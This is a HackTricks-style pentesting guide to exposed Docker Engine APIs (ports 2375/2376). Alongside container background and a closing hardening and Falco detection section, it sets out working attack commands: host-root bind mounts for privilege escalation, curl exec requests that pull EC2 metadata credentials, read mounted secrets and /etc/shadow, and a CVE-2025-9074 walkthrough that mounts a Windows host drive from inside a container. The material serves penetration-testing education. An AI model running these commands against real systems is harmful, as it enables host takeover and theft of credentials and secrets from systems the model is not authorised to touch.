2375-pentesting-docker.md (23725B)
1 --- 2 title: "2375, 2376 Pentesting Docker" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/2375-pentesting-docker.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/2375-pentesting-docker.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # 2375, 2376 Pentesting Docker 14 15 ### Docker Basics 16 17 #### What it is 18 19 Docker is a platform for building, distributing, and running applications in containers. The Docker Engine exposes a versioned REST API used by its command-line client and SDKs.<sup>[[8]](#references)</sup> 20 21 #### Basic docker architecture 22 23 - [**containerd**](https://containerd.io): A container runtime that manages image transfer and storage, snapshots, container execution, and supervision. 24 - The **container-shim** plays a critical role as an **intermediary** in the handling of **headless containers**, seamlessly taking over from **runc** after the containers are initialized. 25 - [**runc**](http://runc.io): Esteemed for its **lightweight and universal container runtime** capabilities, runc is aligned with the **OCI standard**. It is used by containerd to **start and manage containers** according to the **OCI guidelines**, having evolved from the original **libcontainer**. 26 - [**grpc**](http://www.grpc.io) is essential for **facilitating communication** between containerd and the **docker-engine**, ensuring **efficient interaction**. 27 - The [**OCI**](https://www.opencontainers.org) is pivotal in maintaining the **OCI specifications** for runtime and images, with the latest Docker versions being **compliant with both the OCI image and runtime** standards. 28 29 #### Basic commands 30 31 ```bash 32 docker version #Get version of docker client, API, engine, containerd, runc, docker-init 33 docker info # Get more information about Docker settings 34 docker pull registry:5000/alpine #Download the image 35 docker inspect <containerid> # Get information about the container 36 docker network ls #List network info 37 docker exec -it <containerid> /bin/sh #Get shell inside a container 38 docker commit <containerid> registry:5000/name-container # Create an image from a container 39 docker export -o alpine.tar <containerid> #Export container as tar file 40 docker save -o ubuntu.tar <image> #Export an image 41 docker ps -a #List running and stopped containers 42 docker stop <containerID> # Stop a running container 43 docker rm <containerID> #Remove container ID 44 docker image ls #List images 45 docker rmi <imageID> # Remove an image 46 docker system prune -a 47 # This destructive command removes: 48 # - all stopped containers 49 # - all networks not used by at least one container 50 # - all images without at least one container associated to them 51 # - all build cache 52 ``` 53 54 #### Containerd 55 56 **containerd** is designed to be embedded in platforms such as Docker and Kubernetes. It runs as a daemon on Linux and Windows and keeps a deliberately focused scope: content and image management, snapshots, container lifecycle operations, and supervision.<sup>[[2]](#references)</sup> 57 58 A key design boundary is that higher-level platforms choose and configure container networking. containerd can manage low-level network attachments and integrates with CRI/CNI plugins, but it does not provide Docker's complete network-management or orchestration user experience.<sup>[[2]](#references)</sup> 59 60 Docker uses containerd as part of its runtime stack, while Docker Engine adds higher-level APIs and features such as Docker networking, builds, and Swarm orchestration. The bundled `ctr` client is primarily a low-level debugging tool rather than a stable Docker CLI replacement.<sup>[[2]](#references)</sup> 61 62 ```bash 63 #Containerd CLI 64 ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image 65 ctr images list #List images 66 ctr container create registry:5000/alpine:latest alpine #Create container called alpine 67 ctr container list #List containers 68 ctr container info <containerName> #Get container info 69 ctr task start <containerName> #You are given a shell inside of it 70 ctr task list #Get status of containers 71 ctr tasks attach <containerName> #Get shell in running container 72 ctr task pause <containerName> #Stop container 73 ctr tasks resume <containerName> #Resume container 74 ctr task kill -s SIGKILL <containerName> #Stop running container 75 ctr container delete <containerName> 76 ``` 77 78 #### Podman 79 80 **Podman** is an open-source container engine that adheres to the [Open Container Initiative (OCI) standards](https://github.com/opencontainers), developed and maintained by Red Hat. It stands out from Docker with several distinct features, notably its **daemonless architecture** and support for **rootless containers**, enabling users to run containers without root privileges. 81 82 Podman is designed to be compatible with Docker's API, allowing for the use of Docker CLI commands. This compatibility extends to its ecosystem, which includes tools like **Buildah** for building container images and **Skopeo** for image operations such as push, pull, and inspect. More details on these tools can be found on their [GitHub page](https://github.com/containers/buildah/tree/master/docs/containertools). 83 84 **Key Differences** 85 86 - **Architecture**: Unlike Docker’s client-server model with a background daemon, Podman operates without a daemon. This design means containers run with the privileges of the user who starts them, enhancing security by eliminating the need for root access. 87 - **Systemd Integration**: Podman integrates with **systemd** to manage containers, allowing for container management through systemd units. This contrasts with Docker's use of systemd primarily for managing the Docker daemon process. 88 - **Rootless Containers**: A pivotal feature of Podman is its ability to run containers under the initiating user's privileges. This approach minimizes the risks associated with container breaches by ensuring that attackers gain only the compromised user's privileges, not root access. 89 90 Podman's approach offers a secure and flexible alternative to Docker, emphasizing user privilege management and compatibility with existing Docker workflows.<sup>[[1]](#references)</sup> 91 92 > [!TIP] 93 > Because Podman implements a Docker-compatible command-line experience and API, many familiar commands have Podman equivalents, such as: 94 > 95 > ```bash 96 > podman --version 97 > podman info 98 > podman images 99 > podman ps 100 > ``` 101 102 ### Basic Information 103 104 Docker Engine normally listens on a local Unix socket, not on a TCP port. When administrators expose the daemon over unauthenticated plain TCP, port **2375** is conventional; TLS-protected access commonly uses **2376**. Anyone who can control the daemon can usually obtain root-equivalent access to the host, for example by creating a container with the host root filesystem bind-mounted.<sup>[[7]](#references)</sup> 105 106 **Default port:** 2375 107 108 ```text 109 PORT STATE SERVICE 110 2375/tcp open docker 111 ``` 112 113 ### Enumeration 114 115 #### Manual 116 117 Note that in order to enumerate the docker API you can use the `docker` command or `curl` like in the following example: 118 119 ```bash 120 #Using curl 121 curl -s http://open.docker.socket:2375/version | jq #Get version 122 {"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"} 123 124 #Using docker 125 docker -H open.docker.socket:2375 version #Get version 126 Client: Docker Engine - Community 127 Version: 19.03.1 128 API version: 1.40 129 Go version: go1.12.5 130 Git commit: 74b1e89 131 Built: Thu Jul 25 21:21:05 2019 132 OS/Arch: linux/amd64 133 Experimental: false 134 135 Server: Docker Engine - Community 136 Engine: 137 Version: 19.03.1 138 API version: 1.40 (minimum version 1.12) 139 Go version: go1.12.5 140 Git commit: 74b1e89 141 Built: Thu Jul 25 21:19:41 2019 142 OS/Arch: linux/amd64 143 Experimental: false 144 containerd: 145 Version: 1.2.6 146 GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb 147 runc: 148 Version: 1.0.0-rc8 149 GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f 150 docker-init: 151 Version: 0.18.0 152 GitCommit: fec3683 153 ``` 154 155 If the `docker` client can contact the remote API, you can run the [commands shown earlier](/hacktricks/network-services-pentesting/2375-pentesting-docker#basic-commands) against that daemon. 156 157 > [!TIP] 158 > You can `export DOCKER_HOST="tcp://localhost:2375"` and **avoid** using the `-H` parameter with the docker command 159 160 **Fast privilege escalation** 161 162 ```bash 163 docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash 164 ``` 165 166 **Curl** 167 168 Port **2376** commonly exposes the API over TLS. Use `docker --tlsverify -H tcp://<host>:2376 ...` when you have the appropriate CA and client material, or use `curl` with equivalent TLS options. The `--insecure` examples below are appropriate only for an authorized test where certificate validation is intentionally being bypassed.<sup>[[7]](#references)</sup> 169 170 ```bash 171 #List containers 172 curl --insecure https://tlsopen.docker.socket:2376/containers/json | jq 173 #List processes inside a container 174 curl --insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq 175 #Set up and exec job to hit the metadata URL 176 curl --insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Cmd":["/bin/sh","-c","wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}' 177 #Get the output 178 curl --insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}' 179 # list secrets (no secrets/swarm not set up) 180 curl -s --insecure https://tlsopen.docker.socket:2376/secrets | jq 181 #Check what is mounted 182 curl --insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}' 183 #Get the output by starting the exec 184 curl --insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}' 185 #Cat the mounted secret 186 curl --insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}' 187 #List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables) 188 curl -s --insecure https://tls-opendocker.socket:2376/services | jq 189 #Creating a container that has mounted the host file system and read /etc/shadow 190 curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "/dev/null"], "HostConfig":{"Binds":["/:/mnt"],"Privileged":true}}' 191 curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start 192 curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}' 193 curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}' 194 #Stop the container 195 curl --insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop 196 #Delete stopped containers 197 curl --insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune 198 ``` 199 200 If you want more information about this, more information is available where I copied the commands from: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)<sup>[[3]](#references)</sup> 201 202 ### Docker Desktop internal Engine API reachable from a container (CVE-2025-9074) 203 204 On **Docker Desktop** a compromised Linux container may be able to reach the Engine API on **`192.168.65.7:2375`** even when **`/var/run/docker.sock`** is **not mounted**. This was tracked as **CVE-2025-9074** and fixed in **Docker Desktop 4.44.3**. On **Windows/WSL2** this is especially dangerous because the attacker can ask the Engine to create a new container with a bind mount of the Windows host filesystem.<sup>[[4]](#references)[[5]](#references)[[6]](#references)</sup> 205 206 **Quick indicators from inside the container:** 207 208 ```bash 209 cat /etc/resolv.conf 210 # Look for Docker Desktop style hints such as 192.168.65.7 211 212 curl http://192.168.65.7:2375/info 213 # Interesting fields: OperatingSystem="Docker Desktop", KernelVersion=*microsoft-standard-WSL2* 214 215 curl http://192.168.65.7:2375/images/json | jq '.[].RepoTags' 216 ``` 217 218 If the endpoint is reachable, you can create a new container and mount the Windows host drive exposed by Docker Desktop: 219 220 ```bash 221 curl -s -X POST http://192.168.65.7:2375/containers/create \ 222 -H 'Content-Type: application/json' \ 223 -d '{ 224 "Image":"alpine", 225 "Cmd":["sh","-c","sleep infinity"], 226 "HostConfig":{"Binds":["/mnt/host/c:/host_root"]} 227 }' 228 229 curl -s -X POST http://192.168.65.7:2375/containers/<cid>/start 230 ``` 231 232 At that point the attacker-controlled container can access **`C:\`** via **`/host_root`**. Useful follow-up paths include: 233 234 ```bash 235 /host_root/Users 236 /host_root/ProgramData 237 /host_root/Windows/System32/Tasks 238 ``` 239 240 If the mounted host exposes **writable scripts** executed by privileged scheduled tasks or services (for example `.ps1`, `.bat`, `.cmd` under a user-writable directory), host filesystem access can become **Administrator** code execution without a kernel/container escape. 241 242 #### Automatic 243 244 ```bash 245 msf> use exploit/linux/http/docker_daemon_tcp 246 nmap -sV --script "docker-*" -p <PORT> <IP> 247 ``` 248 249 ### Compromising 250 251 The [container-security page](/hacktricks/linux-hardening/containers-namespaces/container-security/overview) describes additional container-escape techniques. 252 253 With daemon access, you do not need a kernel-level escape: you can ask Docker to start a privileged container with the host filesystem mounted, then operate on that filesystem directly: 254 255 ```bash 256 docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine 257 cat /mnt/etc/shadow 258 ``` 259 260 - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py) 261 262 ### Privilege Escalation 263 264 If you are inside a host that is using docker, you may [**read this information to try to elevate privileges**](../linux-hardening/linux-basics/linux-privilege-escalation/index.html#writable-docker-socket). 265 266 ### Discovering secrets in running Docker containers 267 268 ```bash 269 docker ps | grep <kubernetes_service_name> 270 docker inspect <docker_id> 271 ``` 272 273 Check **env** (environment variable section) for secrets and you may find: 274 275 - Passwords. 276 - Ip’s. 277 - Ports. 278 - Paths. 279 - Others… . 280 281 If you want to extract a file: 282 283 ```bash 284 docker cp <docker_id>:/etc/<secret_01> <secret_01> 285 ``` 286 287 ### Securing your Docker 288 289 #### Securing Docker installation and usage 290 291 - You can use the tool [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) to inspect your current docker installation. 292 - `./docker-bench-security.sh` 293 - You can use the tool [https://github.com/kost/dockscan](https://github.com/kost/dockscan) to inspect your current docker installation. 294 - `dockscan -v unix:///var/run/docker.sock` 295 - You can use the tool [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) the privileges a container will have when run with different security options. This is useful to know the implications of using some security options to run a container: 296 - `docker run --rm -it r.j3ss.co/amicontained` 297 - `docker run --rm -it --pid host r.j3ss.co/amicontained` 298 - `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained` 299 300 #### Securing Docker Images 301 302 - You can use a docker image of [https://github.com/quay/clair](https://github.com/quay/clair) to make it scan your other docker images and find vulnerabilities. 303 - `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"` 304 - `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image` 305 306 #### Securing Dockerfiles 307 308 - You can use the tool [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) to **inspect your Dockerfile** and find all kinds of misconfigurations. Each misconfiguration will be given an ID, you can find here [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) how to fix each of them. 309 - `dockerfilelinter -f Dockerfile` 310 311  312 313 - You can use the tool [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) to **inspect your Dockerfile** and find all kinds of misconfigurations. 314 - `dockerfilelint Dockerfile` 315 316  317 318 - You can use the tool [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) to **inspect your Dockerfile** and find all kinds of misconfigurations. 319 - `dockerlint Dockerfile` 320 321  322 323 - You can use the tool [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) to **inspect your Dockerfile** and find all kinds of misconfigurations. 324 - `hadolint Dockerfile` 325 326  327 328 #### Logging Suspicious activity 329 330 - You can use the tool [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) to detect **suspicious behaviour in running containers**. 331 - Note in the following chunk how **Falco compiles a kernel module and insert it**. After that, it loads the rules and **start logging suspicious activities**. In this case it has detected 2 privileged containers started, 1 of them with a sensitive mount, and after some seconds it detected how a shell was opened inside one of the containers. 332 333 ```bash 334 docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco 335 * Setting up /usr/src links from host 336 * Unloading falco-probe, if present 337 * Running dkms install for falco 338 339 Kernel preparation unnecessary for this kernel. Skipping... 340 341 Building module: 342 cleaning build area...... 343 make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build............. 344 cleaning build area...... 345 346 DKMS: build completed. 347 348 falco-probe.ko: 349 Running module version sanity check. 350 modinfo: ERROR: missing module or filename. 351 - Original module 352 - No original module exists within this kernel 353 - Installation 354 - Installing to /lib/modules/5.0.0-20-generic/kernel/extra/ 355 mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system 356 cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory 357 358 depmod... 359 360 DKMS: install completed. 361 * Trying to load a dkms falco-probe, if present 362 falco-probe found and loaded in dkms 363 2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml 364 2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml: 365 2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml: 366 2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml: 367 2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765 368 2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04) 369 2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave) 370 2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest) 371 2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu) 372 ``` 373 374 #### Monitoring Docker 375 376 You can use auditd to monitor docker. 377 378 ## References 379 380 - [1] [Why Podman is worth a look - ti8m](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html) 381 - [2] [containerd project overview and features](https://github.com/containerd/containerd) 382 - [3] [Abusing Docker API Socket - Security Boulevard](https://securityboulevard.com/2019/02/abusing-docker-api-socket/) 383 - [4] [0xdf - HTB MonitorsFour](https://0xdf.gitlab.io/2026/05/23/htb-monitorsfour.html) 384 - [5] [Docker security announcements - Docker Desktop 4.44.3 / CVE-2025-9074](https://docs.docker.com/security/security-announcements/) 385 - [6] [NVD - CVE-2025-9074](https://nvd.nist.gov/vuln/detail/CVE-2025-9074) 386 - [7] [Docker Docs - Protect the Docker daemon socket](https://docs.docker.com/engine/security/protect-access/) 387 - [8] [Docker Engine API reference](https://docs.docker.com/reference/api/engine/)